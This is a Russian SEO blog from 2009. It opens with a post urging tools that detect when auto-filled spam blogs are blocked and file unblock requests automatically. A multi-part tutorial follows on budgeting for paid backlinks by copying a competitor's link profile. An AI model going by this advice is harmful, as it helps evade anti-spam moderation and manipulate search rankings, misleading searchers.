По моему опыту разблокирование происходит автоматически по факту подачи заявки на разблокирование. И это логично - если заявка подана, то за блогом следит человек, а не автомат. Сам сплог при этом не изучается, так как у меня были разблокированы откровенные сплоги с автонаполнением по электронной почте службами подписки. Частота постинга составляла 20-40 постов в сутки.
Отсюда вывод. Кроме технических средств автонаполнения сплогов необходимы средства слежения за блокировкой сплогов и средства автоматической подачи заявки на разблокирование. При наличие таких средств сплоги должны жить вечно.
понедельник, 2 февраля 2009 г.
Как рассчитать ссылочный бюджет. Часть 7
В заключение повторим порядок составления ссылочной базы для продвижения своего сайта:
б) доля ссылок с конкретными анкорами в нашей базе должна быть такая же, как и в базе конкурента;
в) доля тематичных страниц в нашей базе должна быть не ниже чем в базе конкурента, нетематичные страницы можно без ущерба заменять на тематические;
г) доля страниц с конкретной величиной ранжировочного показателя должна быть не ниже чем в базе конкурента, страницы с определенной величиной ранжировочного показателя можно без ущерба заменять страницами с большей величиной ранжировочного показателя;
д) соотношение между конкретными анкорами и тематическими страницами с определенными ранжировочными показателями должно быть примерно такое же, как у конкурента, см. таблицу 5.
- Выбираем поисковик, в котором будем продвигать наш сайт (веб-страницу)
- Выбираем ключевое слово (фразу), по которой будем продвигать наш сайт (веб-страницу)
- Выбираем позицию в выдаче данного поисковика, на которой мы хотим видеть наш сайт (веб-страницу)
- Собираем ссылки на сайт (веб-страницу) которая в настоящее время находится на данной позиции
- Анализируем ссылки конкурента с точки зрения установления количества конкретных анкоров, тематичности страниц-доноров, ранжировочных показателей страниц-доноров,
- Рассчитываем долю в ссылочной базе конкурента ссылок с конкретными анкорами, долю тематичных и нетематичных страниц, долю страниц с конкретной величиной ранжировочного показателя (ТИЦ-а, PR-а)
- Составляем свою ссылочную базу исходя из следующего:
б) доля ссылок с конкретными анкорами в нашей базе должна быть такая же, как и в базе конкурента;
в) доля тематичных страниц в нашей базе должна быть не ниже чем в базе конкурента, нетематичные страницы можно без ущерба заменять на тематические;
г) доля страниц с конкретной величиной ранжировочного показателя должна быть не ниже чем в базе конкурента, страницы с определенной величиной ранжировочного показателя можно без ущерба заменять страницами с большей величиной ранжировочного показателя;
д) соотношение между конкретными анкорами и тематическими страницами с определенными ранжировочными показателями должно быть примерно такое же, как у конкурента, см. таблицу 5.
Как рассчитать ссылочный бюджет. Часть 6
Таблица 6
| № п/п |
Количество страниц со ссылками | ТИЦ |
Цена одной ссылки, долларов США | Общая стоимость , долларов США |
| 1 | 2 | 3 | 4 | 5 |
| | Тематические | | ||
| 1 | 2 | 50 | 1,98 | 3,96 |
| 2 | 2 | 60 | 2,01 | 4,02 |
| 3 | 2 | 80 | 3,97 | 7,94 |
| 4 | 2 | 90 | 4,76 | 9,52 |
| 5 | 2 | 100 | 4,22 | 8,44 |
| 6 | 2 | 110 | 4,33 | 8,66 |
| | Нетематические | | ||
| 7 | 1 | 70 | 4,15 | 4,15 |
| 8 | 1 | 30 | 2,33 | 2,33 |
| 9 | 1 | 200 | 10,66 | 10,66 |
| 1 0 | 2 | 300 | 13,2 | 26,4 |
| | ИТОГО | | | 86,08 |
При замене страниц - доноров на страницы с бóльшим ТИЦ - ем, ссылочный бюджет, как правило, увеличится.
Быстро прикинуть размер ссылочного бюджета можно было уже и после анализа ссылочной базы конкурента. Из таблицы 1 видно , что величина ссылочного бюджета конкурента составляет 51,61 доллара . Умножив это число на 1,5, получим 77,42 доллара. Это будет примерная величина нашего ссылочного бюджета , необходимого для вытеснения конкурента с его позиции. Однако, как видно из вышеприведенных таблиц, точное планирование ссылочного бюджета даст бóльшую величину расходов. Это не страшно, поскольку можно купить ссылок в 1,5 раза больше или даже на меньшую сумму, а затем уже в зависимости от результатов продвижения докупать ссылки. Единственное, что надо соблюдать, так это структуру ссылочной базы , т . е . процентное соотношение ссылок с определенными анкорами, процентное соотношение тематических страниц, а также ранжировочные показатели каждой страницы, см . таблицы выше. Структуру ссылочной базы можно также рассчитать не вполне точно, т . е . рассчитать только долю и соответственно количество ссылок с конкретными анкорами, долю и соответственно количество тематичных и нетематичных страниц, долю и количество страниц с определенным ранжировочным показателем (ТИЦ , PR). А затем уже раскидать ссылки по этим страницам в случайном порядке, не обращая внимание на соответствие анкоров , тематичность и величину ранжировочных показателей .
Такой примерный расчет ссылочного бюджета и неполное следование структуре базы конкурента увеличит величину ссылочного бюджета в целом при докупке ссылок, однако значительно облегчит работу оптимизатора, что имеет особое значение при продвижении нескольких сайтов одновременно.
Если перед вами стоит задача вывода сайта на определенные позиции и в Google’е и в Яндексе , либо еще в каких - либо поисковиках вместе, то сначала выбирается один, наиболее важный для вас поисковик . Под него составляется ссылочная база исходя из ссылочной базы конкурента по этому поисковику , принимая во внимание алгоритм определения тематичности страница и ранжировочный показатель именно этого поисковика. Теперь можно продвигать сайт в данном поисковике . Спустя какое - то время сайт займет нужную вам позицию . Одновременно он займет какую - нибудь позицию и в другом поисковике и с этого момента надо будет сверстать ссылочную базу уже для этого поисковика отдельно, так, как будто бы мы его продвигаем с нуля . Составив ссылочную базу для продвижения с нуля мы сравним эту базу по всем показателям с той базой , по которой мы продвигали сайт в первом поисковике и отбросив общую часть , докупим недостающие ссылки . Таким образом , нам не понадобятся отдельные бюджеты и ссылочные базы для каждого поисковика .
Как рассчитать ссылочный бюджет. Часть 5
Соответственно для нашего сайта структур а ссылок будет такой :
Таблица 5
| № п/ п | Анкор |
Количество тематических страниц со ссылками | ТИЦ тематических страниц | Количество нетематических страниц со ссылками | ТИЦ нетематических страниц |
| 1 | 2 | 3 | 4 | 5 | 6 |
| 1 | буря | 2 | 50 | 1 | 7 0 |
| 2 | мгла | 2 | 60 | 0 | 0 |
| 3 | шторм | 2 | 80 | 1 | 3 0 |
| 4 | туман | 4 | 2 по 90, 2 по 100 | 1 | 200 |
| 5 | роса | 2 | 110 | 0 | 0 |
| 6 | прогноз | 0 | 0 | 2 | 300 |
| | ИТОГО | 12 | | 5 | |
При покупке ссылок вместо страниц с определенным ТИЦ - ем можно покупать страницы с бóльшим ТИЦ - ем, например для всех анкоров с тематических страниц купить ссылки со страниц с ТИЦ равным 110. Это несколько упростит процесс покупки ссылок .
По аналогичной схеме можно покупать ссылки в зависимости от PR .
В упрощенном виде при покупке страниц под ссылки не учитывается ни тематичность, ни ранжировочный показатель ( ТИЦ , PR ) для конкретного анкора , а только общий объем ссылочной базы для своего сайта . В нашем случае это выглядит примерно так : всего нам нужно 17 ссылок, из них 12 с тематических страниц и 5 ссылок с любых иных страниц . ТИЦ тематических страниц должен быть не меньше 110, ТИЦ прочих страниц должен быть равен 300 (2 страницы), 200 (1 страница ), 70 (2 страницы ). На бирже ссылок подбираются страницы с соответствующими показателями по ТИЦ и тематичности и по ним разбрасываются ссылки в произвольном порядке .
Когда мы уже полностью определились со структурой ссылочной базы для продвижения нашего сайта (см . таблицу 5), мы можем рассчитать ссылочный бюджет с использованием цен из таблицы 1.
воскресенье, 1 февраля 2009 г.
Как рассчитать ссылочный бюджет. Часть 4
Отмечу, что из - за ошибок округления общее количество тематических страниц получилось равным 12, а не 11, как мы считали без учета анкоров . Чем больше ссылок с тематических страниц, тем лучше. Поэтому для надежности можно заменить любую нетематическую страницу на тематическую . Для какого именно анкора – обычно не имеет значение , если только сайт дополнительно не продвигается по каким - либо иным ключевым словам или фразам кроме «Погода в Нижнем Урюпинске» .
В целом, для простоты расчетов можно обойтись только общим количеством тематических и нетематических страниц . То есть не привязывать конкретные анкоры к тематическим или нетематическим страницам. Так, к примеру, все анкоры «буря» будут располагаться на нетематических страницах, зато все анкоры «роса» и «туман» на тематических . Общее соотношение тематических и нетематических страниц, на которых расположены все ссылки на наш сайт , не изменится, хотя для конкретных анкоров соотношение будет иное, нежели у конкурирующего сайта . Это, конечно, может повлиять в худшую сторону на продвижение сайта , но зато облегчит работу , что немаловажно при огромном числе ссылок .
Структурирование своей ссылочной базы в зависимости от ранжировочных показателей ( ТИЦ , PR ) облегчается тем, что не обязательно иметь точно такую же долю ссылок с определенной величиной ранжировочного показателя как у конкурента . Каждую ссылку со страницы с определенной величиной ранжировочного показателя можно заменить на ссылку со страницы, имеющей большую величину этого показателя . На продвижения своего сайта это плохо не скажется . В идеале нужно также учитывать и анкоры и тематичность страниц со ссылками . То есть каждая ссылка с определенным анкором должна располагаться на тематичной или нетематичной странице с величиной ранжировочного показателя не меньшего , чем у соответствующей страницы конкурента . В нашем случае у конкурента имеем такую картину для анкора «буря» : одна ссылка на тематичной странице с ТИЦ - ем 50 и одна ссылка на нетематичной странице с ТИЦ - ем 70. Поскольку на наш сайт должны ссылаться две ссылки с тематических страниц с анкором «буря» и одна с нетематической страницы, то получаем, что ссылку на наш сайт с анкором «буря» мы должны разместить на двух тематических страницах с ТИЦ - ем 50 и на одной нетематической странице с ТИЦ - ем 70. Если мы захотим заменить нетематическую ссылку тематической, то она все равно должна располагаться на странице с ТИЦ - ем 70. Каждую страницу с определенным ТИЦ - ем можно заменить на страницу с бóльшим ТИЦ - ем без всякого ущерба . Общая картина у конкурента будет выглядеть следующим образом :
Таблица 4
| № п / п | Анкор | Количество тематических страниц со ссылками | ТИЦ тематических страниц | Количество нетематических страниц со ссылками | ТИЦ нетематических страниц |
| 1 | 2 | 3 | 4 | 5 | 6 |
| 1 | буря | 1 | 50 | 1 | 70 |
| 2 | мгла | 1 | 60 | 0 | 0 |
| 3 | шторм | 1 | 80 | 1 | 30 |
| 4 | туман | 2 | 90, 100 | 1 | 200 |
| 5 | роса | 1 | 110 | 0 | 0 |
| 6 | прогноз | 0 | 0 | 1 | 300 |
| | ИТОГ О | 6 | | 4 | |
Подписаться на:
Сообщения (Atom)